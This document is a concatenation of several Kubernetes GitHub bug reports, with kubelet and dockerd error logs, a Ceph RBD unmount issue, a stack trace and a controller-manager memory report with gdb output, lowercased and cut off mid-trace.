to work out if we can handle /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount: error inspecting container: error: no such container: 2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76\r dec 19 16:13:24 node-0-vm kubelet-wrapper 2205 : i1219 16:13:24.474683    2205 factory.go:115  factory \ docker\  was unable to handle container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ \r dec 19 16:13:24 node-0-vm kubelet-wrapper 2205 : i1219 16:13:24.480637    2205 factory.go:108  factory \ systemd\  can handle container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ , but ignoring.\r dec 19 16:13:24 node-0-vm kubelet-wrapper 2205 : i1219 16:13:24.480654    2205 manager.go:867  ignoring container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ \r dec 19 16:14:08 node-0-vm dockerd 2294 : time=\ 2016-12-19t16:14:08.076516227z\  level=error msg=\ handler for get /containers/a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7/json returned error: no such container: a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7\ \r dec 19 16:14:08 node-0-vm dockerd 2294 : time=\ 2016-12-19t16:14:08.079678017z\  level=error msg=\ handler for get /containers/2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76/json returned error: no such container: 2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76\ \r dec 19 16:14:08 node-0-vm kubelet-wrapper 2205 : i1219 16:14:08.078435    2205 factory.go:104  error trying to work out if we can handle /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount: error inspecting container: error: no such container: a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7\r dec 19 16:14:08 node-0-vm kubelet-wrapper 2205 : i1219 16:14:08.078444    2205 factory.go:115  factory \ docker\  was unable to handle container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ \r dec 19 16:14:08 node-0-vm kubelet-wrapper 2205 : i1219 16:14:08.078453    2205 factory.go:108  factory \ systemd\  can handle container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ , but ignoring.\r dec 19 16:14:08 node-0-vm kubelet-wrapper 2205 : i1219 16:14:08.078462    2205 manager.go:867  ignoring container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ \r dec 19 16:14:08 node-0-vm kubelet-wrapper 2205 : i1219 16:14:08.096339    2205 factory.go:104  error trying to work out if we can handle /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount: error inspecting container: error: no such container: 2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76\r dec 19 16:14:08 node-0-vm kubelet-wrapper 2205 : i1219 16:14:08.096355    2205 factory.go:115  factory \ docker\  was unable to handle container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ \r dec 19 16:14:08 node-0-vm kubelet-wrapper 2205 : i1219 16:14:08.096367    2205 factory.go:108  factory \ systemd\  can handle container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ , but ignoring.\r dec 19 16:14:08 node-0-vm kubelet-wrapper 2205 : i1219 16:14:08.096377    2205 manager.go:867  ignoring container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ \r dec 19 16:15:08 node-0-vm kubelet-wrapper 2205 : i1219 16:15:08.147523    2205 factory.go:104  error trying to work out if we can handle /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount: error inspecting container: error: no such container: 2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76\r dec 19 16:15:08 node-0-vm kubelet-wrapper 2205 : i1219 16:15:08.147535    2205 factory.go:115  factory \ docker\  was unable to handle container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ \r dec 19 16:15:08 node-0-vm kubelet-wrapper 2205 : i1219 16:15:08.147545    2205 factory.go:108  factory \ systemd\  can handle container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ , but ignoring.\r dec 19 16:15:08 node-0-vm kubelet-wrapper 2205 : i1219 16:15:08.147554    2205 manager.go:867  ignoring container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ \r dec 19 16:15:08 node-0-vm dockerd 2294 : time=\ 2016-12-19t16:15:08.147313299z\  level=error msg=\ handler for get /containers/2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76/json returned error: no such container: 2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76\ \r dec 19 16:15:08 node-0-vm dockerd 2294 : time=\ 2016-12-19t16:15:08.149371129z\  level=error msg=\ handler for get /containers/a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7/json returned error: no such container: a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7\ \r dec 19 16:15:08 node-0-vm kubelet-wrapper 2205 : i1219 16:15:08.150615    2205 factory.go:104  error trying to work out if we can handle /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount: error inspecting container: error: no such container: a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7\r dec 19 16:15:08 node-0-vm kubelet-wrapper 2205 : i1219 16:15:08.150624    2205 factory.go:115  factory \ docker\  was unable to handle container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ \r dec 19 16:15:08 node-0-vm kubelet-wrapper 2205 : i1219 16:15:08.150632    2205 factory.go:108  factory \ systemd\  can handle container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ , but ignoring.\r dec 19 16:15:08 node-0-vm kubelet-wrapper 2205 : i1219 16:15:08.150641    2205 manager.go:867  ignoring container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ \r dec 19 16:16:08 node-0-vm dockerd 2294 : time=\ 2016-12-19t16:16:08.035126558z\  level=error msg=\ handler for get /containers/2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76/json returned error: no such container: 2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76\ \r dec 19 16:16:08 node-0-vm dockerd 2294 : time=\ 2016-12-19t16:16:08.036549974z\  level=error msg=\ handler for get /containers/a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7/json returned error: no such container: a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7\ \r dec 19 16:16:08 node-0-vm kubelet-wrapper 2205 : i1219 16:16:08.035277    2205 factory.go:104  error trying to work out if we can handle /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount: error inspecting container: error: no such container: 2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76\r dec 19 16:16:08 node-0-vm kubelet-wrapper 2205 : i1219 16:16:08.035285    2205 factory.go:115  factory \ docker\  was unable to handle container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ \r dec 19 16:16:08 node-0-vm kubelet-wrapper 2205 : i1219 16:16:08.035294    2205 factory.go:108  factory \ systemd\  can handle container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ , but ignoring.\r dec 19 16:16:08 node-0-vm kubelet-wrapper 2205 : i1219 16:16:08.035302    2205 manager.go:867  ignoring container \ /system.slice/var-lib-docker-overlay-2f20bd0a99fc66cd8389652fdfc559ccbfd75b3d23fe987210c896ab78dcee76-merged.mount\ \r dec 19 16:16:08 node-0-vm kubelet-wrapper 2205 : i1219 16:16:08.036658    2205 factory.go:104  error trying to work out if we can handle /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount: error inspecting container: error: no such container: a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7\r dec 19 16:16:08 node-0-vm kubelet-wrapper 2205 : i1219 16:16:08.036667    2205 factory.go:115  factory \ docker\  was unable to handle container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ \r dec 19 16:16:08 node-0-vm kubelet-wrapper 2205 : i1219 16:16:08.036678    2205 factory.go:108  factory \ systemd\  can handle container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ , but ignoring.\r dec 19 16:16:08 node-0-vm kubelet-wrapper 2205 : i1219 16:16:08.036685    2205 manager.go:867  ignoring container \ /system.slice/var-lib-docker-overlay-a6d70af4e3c0f40ec3a540978570159f10bf14c7306b94e94c0d983b20a756f7-merged.mount\ \r    \r \r   what you expected to happen  :\r \r no errors.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r just start up a cluster. it seems it can be triggered quicker by doing a systemd reload.\r \r   anything else do we need to know  :\r \r    \r client:\r  version:      1.12.3\r  api version:  1.24\r  go version:   go1.6.3\r  git commit:   34a2ead\r  built:\r  os/arch:      linux/amd64\r \r server:\r  version:      1.12.3\r  api version:  1.24\r  go version:   go1.6.3\r  git commit:   34a2ead\r  built:\r  os/arch:      linux/amd64\r    \r

cri was disabled temporarily in hollow nodes by  41460 because hollow nodes were failing to create pods.\r \r we need to fix this and enable cri for hollow nodes.\r    \r e0215 06:11:42.010590       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:43.011674       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:44.012421       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:45.013715       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:46.014773       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:47.015716       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:48.016755       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:49.017643       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:50.018547       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:50.867382       9 eviction_manager.go:207  eviction manager: unexpected err: missing stats for root container\r e0215 06:11:51.019278       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:51.032207       9 kubelet.go:1616  failed to check if disk space is available for the runtime: could not determine capacity for \ runtime\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-02-15 06:11:51.032189255 +0000 utc}\r e0215 06:11:51.032236       9 kubelet.go:1624  failed to check if disk space is available on the root partition: could not determine capacity for \ root\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-02-15 06:11:51.032228044 +0000 utc}\r e0215 06:11:52.020037       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:53.020861       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:54.021635       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:55.022443       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:56.023353       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:56.996183       9 kubelet.go:1616  failed to check if disk space is available for the runtime: could not determine capacity for \ runtime\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-02-15 06:11:56.99616195 +0000 utc}\r e0215 06:11:56.996251       9 kubelet.go:1624  failed to check if disk space is available on the root partition: could not determine capacity for \ root\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-02-15 06:11:56.996234018 +0000 utc}\r e0215 06:11:57.024046       9 docker_sandbox.go:348  failed to list checkpoints: failed to list checkpoint store: open /var/lib/dockershim/sandbox: no such file or directory\r e0215 06:11:57.085429       9 kubelet.go:1616  failed to check if disk space is available for the runtime: could not determine capacity for \ runtime\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-02-15 06:11:56.99616195 +0000 utc}\r e0215 06:11:57.085454       9 kubelet.go:1624  failed to check if disk space is available on the root partition: could not determine capacity for \ root\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-02-15 06:11:56.996234018 +0000 utc}\r e0215 06:11:57.369977       9 remote_runtime.go:86  runpodsandbox from runtime service failed: rpc error: code = 2 desc = checkpoint key \ /k8s_pod_density15000-0-a2a37a33-f345-11e6-b17e-0242ac110007-m0s9r_e2e-tests-density-30-1-8qpl0_a708b4b9-f345-11e6-9e07-42010af00009_0\  is not valid.\r e0215 06:11:57.370105       9 kuberuntime_sandbox.go:54  createpodsandbox for pod \ density15000-0-a2a37a33-f345-11e6-b17e-0242ac110007-m0s9r_e2e-tests-density-30-1-8qpl0 a708b4b9-f345-11e6-9e07-42010af00009 \  failed: rpc error: code = 2 desc = checkpoint key \ /k8s_pod_density15000-0-a2a37a33-f345-11e6-b17e-0242ac110007-m0s9r_e2e-tests-density-30-1-8qpl0_a708b4b9-f345-11e6-9e07-42010af00009_0\  is not valid.\r e0215 06:11:57.370132       9 kuberuntime_manager.go:620  createpodsandbox for pod \ density15000-0-a2a37a33-f345-11e6-b17e-0242ac110007-m0s9r_e2e-tests-density-30-1-8qpl0 a708b4b9-f345-11e6-9e07-42010af00009 \  failed: rpc error: code = 2 desc = checkpoint key \ /k8s_pod_density15000-0-a2a37a33-f345-11e6-b17e-0242ac110007-m0s9r_e2e-tests-density-30-1-8qpl0_a708b4b9-f345-11e6-9e07-42010af00009_0\  is not valid.\r e0215 06:11:57.370260       9 pod_workers.go:182  error syncing pod a708b4b9-f345-11e6-9e07-42010af00009  \ density15000-0-a2a37a33-f345-11e6-b17e-0242ac110007-m0s9r_e2e-tests-density-30-1-8qpl0 a708b4b9-f345-11e6-9e07-42010af00009 \  , skipping: failed to \ createpodsandbox\  for \ density15000-0-a2a37a33-f345-11e6-b17e-0242ac110007-m0s9r_e2e-tests-density-30-1-8qpl0 a708b4b9-f345-11e6-9e07-42010af00009 \  with createpodsandboxerror: \ createpodsandbox for pod \\\ density15000-0-a2a37a33-f345-11e6-b17e-0242ac110007-m0s9r_e2e-tests-density-30-1-8qpl0 a708b4b9-f345-11e6-9e07-42010af00009 \\\  failed: rpc error: code = 2 desc = checkpoint key \\\ /k8s_pod_density15000-0-a2a37a33-f345-11e6-b17e-0242ac110007-m0s9r_e2e-tests-density-30-1-8qpl0_a708b4b9-f345-11e6-9e07-42010af00009_0\\\  is not valid.\ \r    \r \r @random-liu did a quick triage and found that the container ids used by the fake docker client are not valid checkpoint key names:https://github.com/kubernetes/kubernetes/pull/41460 issuecomment-279950446\r \r /cc @freehan @random-liu @wojtek-t \r

while trying to start a pod on a node，i found that this pod can’t get the latest data. after debugging, it is easy to find that the rbd image that i want to use on the node has been used by previous pod. although that pod has been deleted, umount operation exception will cause the relevant rbd image is still mount a directory. and then on this node i start a new pod which using the same rbd image, the pod can’t get the latest written by other pod start on another node and write data.  if umount is successful, everything is fine \r \tfor example:\r 1、\tcreate a new rbd image \r  root@ceph-mon:~  rbd create -p system --size 1024 retest\r 2、\tcreate a pod named “system-retest-poa” on root@ceph-2 and create file named ceph-2\r ! image  https://user-images.githubusercontent.com/17851047/27019461-44868da4-4f6b-11e7-8a36-f542e54892dd.png \r 3、\tdelete “system-retest-poa” but umount operation exception （still mount the directory）\r ! image  https://user-images.githubusercontent.com/17851047/27019458-3c19aa98-4f6b-11e7-9917-b724b01317e5.png \r 4、\tcreate a pod named “system-retest-pob” on root@ceph-3 and create file named ceph-3（can get ceph-2 ）\r ! image  https://user-images.githubusercontent.com/17851047/27019464-4c98d16e-4f6b-11e7-8323-f3487393ee44.png \r 5、\tcreate a pod named “system-retest-poa” on root@ceph-2 again （can’t get ceph-3 because of umount operation exception）\r ! image  https://user-images.githubusercontent.com/17851047/27019467-56543414-4f6b-11e7-85f2-a6a41b483c22.png \r so i was wondering if the umount operation exception occurs, whether it can only umount manually, or kubernetes have a mechanism to detect and umount automatically. if it’s possible, you can also give me another better solution. thx！ @freehan  @resouer （my kubernetes version: kubernetes 1.4）

garbage collector accidentally removes non gc related finalizers from  metadata.finalizers .\r \r fixed by https://github.com/kubernetes/kubernetes/pull/48261, an one-line bug fix.

kubectl apply should use openapi to calculate diff.\r this will mitigate version skew issue.\r \r  

i noticed on several gke prod nodes, kubelet crashes with the following stacktrace. \r \r    \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : i1014 11:41:05.552990    1650 server.go:794  get /stats/summary/:  192.043619ms  500\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : goroutine 27377206  running :\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc4250322a0, 0x1f4 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/log.go:219 +0xdd\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc4250322a0, 0x1f4 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/log.go:198 +0x35\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  response .writeheader 0xc42961e840, 0x1f4 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/response.go:201 +0x41\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  response .writeerrorstring 0xc42961e840, 0x1f4, 0xc421b39e60, 0x8d, 0x2, 0xc421b39e60 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/response.go:181 +0x46\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : k8s.io/kubernetes/pkg/kubelet/server/stats.handleerror 0xc42961e840, 0x3a4ccb4, 0xe, 0x57a0360, 0xc428cf21e0 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/handler.go:248 +0x1da\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : k8s.io/kubernetes/pkg/kubelet/server/stats.  handler .handlesummary 0xc4207cc320, 0xc42764f230, 0xc42961e840 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/handler.go:159 +0x79\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : k8s.io/kubernetes/pkg/kubelet/server/stats.  handler . k8s.io/kubernetes/pkg/kubelet/server/stats.handlesummary -fm 0xc42764f230, 0xc42961e840 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/stats/handler.go:71 +0x3e\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc4203d2240, 0x57c8820, 0xc4250322a0, 0xc42048dc00 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:277 +0xb8d\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container . k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.dispatch -fm 0x57c8820, 0xc4250322a0, 0xc42048dc00 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:120 +0x48\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : net/http.handlerfunc.servehttp 0xc420252e60, 0x57c8820, 0xc4250322a0, 0xc42048dc00 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/usr/local/go/src/net/http/server.go:1942 +0x44\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : net/http.  servemux .servehttp 0xc4202d4570, 0x57c8820, 0xc4250322a0, 0xc42048dc00 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/usr/local/go/src/net/http/server.go:2238 +0x130\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .servehttp 0xc4203d2240, 0x57c8820, 0xc4250322a0, 0xc42048dc00 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:292 +0x4d\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : k8s.io/kubernetes/pkg/kubelet/server.  server .servehttp 0xc4206da9b0, 0x57c8820, 0xc4250322a0, 0xc42048dc00 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/server.go:793 +0x110\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : net/http.serverhandler.servehttp 0xc4202344d0, 0x57ceda0, 0xc4286f35e0, 0xc42048dc00 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/usr/local/go/src/net/http/server.go:2568 +0x92\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : net/http.  conn .serve 0xc423e8e000, 0x57d0fa0, 0xc425392140 \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/usr/local/go/src/net/http/server.go:1825 +0x612\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : created by net/http.  server .serve\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : \t/usr/local/go/src/net/http/server.go:2668 +0x2ce\r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 : logging error output: \ internal error: failed imagestats: rpc error: code = 2 desc = cannot connect to the docker daemon. is the docker daemon running on this host?\ \r oct 14 11:41:05 gke-xxx-xxx-pool-11-f98a46ec-65t6 kubelet 1650 :    go-http-client/1.1  10.163.0.43:35630 \r    \r \r cc/ @kubernetes/sig-node-bugs @dashpole \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r the controller manager consuming 4.6g memory in my environment.\r \r    \r top - 10:29:30 up 4 days, 21:13,  4 users,  load average: 6.77, 7.39, 7.48\r tasks:   1 total,   0 running,   1 sleeping,   0 stopped,   0 zombie\r %cpu s : 85.5 us, 10.6 sy,  0.2 ni,  0.7 id,  2.0 wa,  0.0 hi,  1.0 si,  0.0 st\r kib mem : 16170444 total,   275776 free, 11637004 used,  4257664 buff/cache\r kib swap:  8388604 total,  5899216 free,  2489388 used.  3993476 avail mem\r \r   pid user      pr  ni    virt    res    shr s  %cpu %mem     time+ command\r  7096 root      20   0 7265460 4.607g  15960 s  44.9 29.9 279:38.79 hyperkube\r    \r \r after gdb to controller manager, i found that it has 8 threads, but normally, i can see the controller manager often have 1 thread. can someone help check in which case the controller manager can have many threads?\r \r    \r  gdb  info thread\r   id   target id         frame\r   1    thread 0x7f515fdf1700  lwp 7096  \ hyperkube\  runtime.futex    at /usr/local/go/src/runtime/sys_linux_amd64.s:426\r   2    thread 0x7f515f3ea700  lwp 7128  \ hyperkube\  runtime.futex    at /usr/local/go/src/runtime/sys_linux_amd64.s:426\r   3    thread 0x7f515ebe9700  lwp 7129  \ hyperkube\  0x00000000004127f0 in runtime.mallocgc  size=32, typ=0x0, needzero=false, ~r3=0xc494180128 \r     at /usr/local/go/src/runtime/malloc.go:712\r   4    thread 0x7f515e3e8700  lwp 7130  \ hyperkube\  runtime.futex    at /usr/local/go/src/runtime/sys_linux_amd64.s:426\r   5    thread 0x7f515d3a7700  lwp 7133  \ hyperkube\  runtime.futex    at /usr/local/go/src/runtime/sys_linux_amd64.s:426\r   6    thread 0x7f515ca46700  lwp 7140  \ hyperkube\  runtime.epollwait    at /usr/local/go/src/runtime/sys_linux_amd64.s:563\r   7    thread 0x7f5157fff700  lwp 10180  \ hyperkube\  runtime.futex    at /usr/local/go/src/runtime/sys_linux_amd64.s:426\r   8    thread 0x7f51576be700  lwp 18696  \ hyperkube\  runtime.futex    at /usr/local/go/src/runtime/sys_linux_amd64.s:426\r   9    thread 0x7f515658c700  lwp 10293  \ hyperkube\  runtime.futex    at /usr/local/go/src/runtime/sys_linux_amd64.s:426\r  gdb  t 1\r  switching to thread 1  thread 0x7f515fdf1700  lwp 7096   \r  0  runtime.futex    at /usr/local/go/src/runtime/sys_linux_amd64.s:426\r 426\tin /usr/local/go/src/runtime/sys_linux_amd64.s\r  gdb  bt\r  0  runtime.futex    at /usr/local/go/src/runtime/sys_linux_amd64.s:426\r  1  0x000000000042b8e2 in runtime.futexsleep  addr=0x9335150 <runtime.m0+272>, val=0, ns=-1  at /usr/local/go/src/runtime/os_linux.go:45\r  2  0x000000000041148b in runtime.notesleep  n=0x9335150 <runtime.m0+272>  at /usr/local/go/src/runtime/lock_futex.go:145\r  3  0x000000000043372d in runtime.stopm    at /usr/local/go/src/runtime/proc.go:1650\r  4  0x0000000000434544 in 